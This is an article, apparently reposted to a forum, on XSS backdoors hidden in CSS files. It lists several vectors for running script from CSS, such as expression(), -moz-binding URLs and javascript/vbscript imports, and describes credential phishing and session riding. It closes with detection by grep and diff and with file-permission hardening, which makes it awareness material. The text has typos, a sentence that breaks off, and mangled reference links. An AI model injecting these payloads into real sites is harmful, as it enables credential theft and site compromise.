CSS backdoors

[scatter]

When a website gets compromised a new file is often created by the
attacker, where he or she can sometimes do almost the same on the
system as any other user. On Linux the user used to help the attacker is
www-data, which is by default used for serving Apache threads.
So, it wouldn’t be smart to block that user from the system as the Apache threads spawning from the main process (which is running as root in order to be able to bind to port 80 and / or 443) should never run as root but as an unprivileged user instead. Sometime ago, I discovered a couple of persistent (stored) Cross-Site Scripting vulnerabilities in vBulletin , where the first was simply found with standard research but also a bit of luck, while RSnake’s XSS Cheatsheet (google it) was used to aid me in bypassing the custom Anti-XSS filter inside vBulletin. All of this was great, but as I dived deeper into executing JavaScript via CSS

How to execute JavaScript in CSS
Firstly, it’s important to know how it is possible to even
execute JavaScript inside the templates or files, which
are essentially the same as they are loaded with the
HTML page. There are of course limitations to these
backdoors, as the page may not load the entire CSS
library at once and therefore, the most appropriate
CSS file for infection must be chosen. But how is it
possible? In fact, I’m not even sure that I’ve collected most of the known possible ways, but after reading through RSnake’s XSS Cheatsheet , and while searching
through the Internet I came up with a nice list As you can see, these are just some of the ways, where most, if not all of them, are mentioned at RSnake’s website. With HTML5 and CSS3, where the latter is the most important in this case, new vectors
enabling JavaScript will most likely be possible.


Listing 1. One of many ways to execute JavaScript in CSS
width:expression(alert(String.fromCharCode(73,110,116,101, 114,78,48,84)))
Listing 2. A few examples of how JavaScript execution is possible in CSS �les
- moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss"); // See ha.ckers.org
- url(vbscript:msgbox("X/SS"));
- behavior:url(); // See ha.ckers.org for more information
- background:url();
- width:expression();
- @import'vb\script:alert(document.domain); // IE6
- @\!'javascript:alert(/IE6/)'; //IE6

What's possible with XSS?
Only your imagination sets the limits and ofc the capabilities of your browser,the webapp and patience.It's possible to even scan your internal network,but also in some cases without being a previleged user ,escalates preivileges to remotre code execution
The last is particularly interesting, as the payload abuses the web application functionality that the administrator has access to, and thereby injects a PHP
plugin, which returns a backdoor shell to the attacker. In the same way, it is possible to inject this JavaScript payload into CSS files. But let’s say the attacker already
has remote code execution but needs a backdoor or wants to know the password of the users. In this case, the attacker can simply use JavaScript to redirect the HTTP-flow of the web application to a phishing page and back again with some clever dynamic editing of the HTML Form Input which quite often uses CSS to, meaning this is an ideal place to inject a backdoor for an attacker. Another backdoor could simply be session riding the hijacked victims and e.g., performing actions on their
behalf without them knowing it happened before it’s too late. As the CSS follows the user almost everywhere on the site, in case it is e.g., injected into the header,
the impact of the malware aka payload in the CSS files can be quite fatal for a website.


How do you find these backdoors, or know
they’re there?
This is the big question, but the easiest way is simply to look with a simple regular expression tool that searches for e.g., occurrences of width:expression. Keep in mind some legit web applications; actually use JavaScript in their CSS files already. So don’t
delete anything unnecessary unless you want a broken style on your website (vBulletin is one of these applications). On Linux you can use something as simple as
‘grep’, and on Windows there’s a nice program called WinGrep, that even has a GUI to make everything a bit easier. The problem with backdoors in CSS files is that
some web applications such as vBulletin has around 750’000 letters of CSS and reading through that is quite challenging to keep a focus on. If your web application only uses static CSS files that are not stored in a database, then simply doing a “diff”
(differentiate) of the original and the latest backup, can often reveal many interesting things in case an attack has occurred. Of course, if the hacker managed to “rm
–rf” (delete) everything, this is not possible but then you could for example, change the ownership of the files to root, and make root able to write to these files and even
write-protect them with ‘chattr’. If you change the owner to root, make sure the guests visiting the website have the right (chmod) permissions to access the files.

We haven’t seen it yet on a wide scale yet, so
why discuss this issue?

It’s important to be aware of the tricks black hats may think of using or are using but the public may not generally know about. It’s impossible to tell how many times this method may have been used already, but it is one of the more stealthy ways. If the attacker doesn’t put a huge payload in the CSS files, but instead load an external CSS file instead, or use several variables across a 5’000 line long style sheet to create a payload that phishes the login credentials and that is even if the attacker hasn’t changed the actual HTML form, because with dynamic JavaScript it is possible to change a HTML page after it has been loaded. With these drive-by aka exploit kit injections happening widely on a periodic basis, using simple <iframe> injections, they could easily turn into an extra CSS entry that looks harmless and may not execute the
malicious all of the time, and thereby, stay hidden for much longer time. After all, when you check if a website has been compromised, the first thing most would
check is the HTML source. If it looks clean, one would most likely move on.
But a backdoor could be hiding in those 5k lines of CSS somewhere. Since time is precious, most skip this part as it is “unlikely” for backdoors to exist there, at
least from some points of views most likely. The most important thing when assessing the state of a web application is to go through everything.


References:
http://ha.ckers.org/xss.html" onclick="window.open(this.href);return false;
http://www.exploit-db.com/vbulletin-a-j ... loitation/" onclick="window.open(this.href);return false;
" onclick="window.open(this.href);return false;
http://www.exploit-db.com/vbseo-from-xs ... php-shell/" onclick="window.open(this.href);return false;
http://www.businessinfo.co.uk/labs/css_ ... canner.php" onclick="window.open(this.href);return false;